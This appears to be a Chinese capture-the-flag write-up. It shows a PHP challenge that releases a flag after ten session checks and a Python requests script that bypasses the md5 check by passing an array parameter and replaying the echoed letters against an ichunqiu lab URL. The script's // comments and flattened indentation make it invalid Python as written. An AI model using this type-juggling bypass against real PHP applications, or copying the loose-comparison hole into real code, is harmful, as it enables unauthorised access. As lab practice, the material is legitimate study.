<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');//确定范围
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];//随机产生26个字母中的一个
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
构造函数 爆破:/?value[0]=e&value[1]=a,然后把随机爆出的字母输入十次。爆出flag
substr(md5($value),5,4)拆解:md5($value)恒为零。
------------------------------2019年3月20日尝试增加脚本破解----------------------------
python3 脚本
import requests
s = requests.session() //创建一个session对象 。
strs = ['abcdefghijklmnopqrstuvwxyz'] //设置字符串库a-z。
url = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=ea" //确定url
r = s.get(url) //获取url中以get方式上传的参数
for i in range(10):
url_1 = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=" + r.text[:2] //获取头两个字母
r = s.get(url_1)
print(r.url)
if 'flag{' in r.text://如果是‘flag{’输出text的值
print(r.text)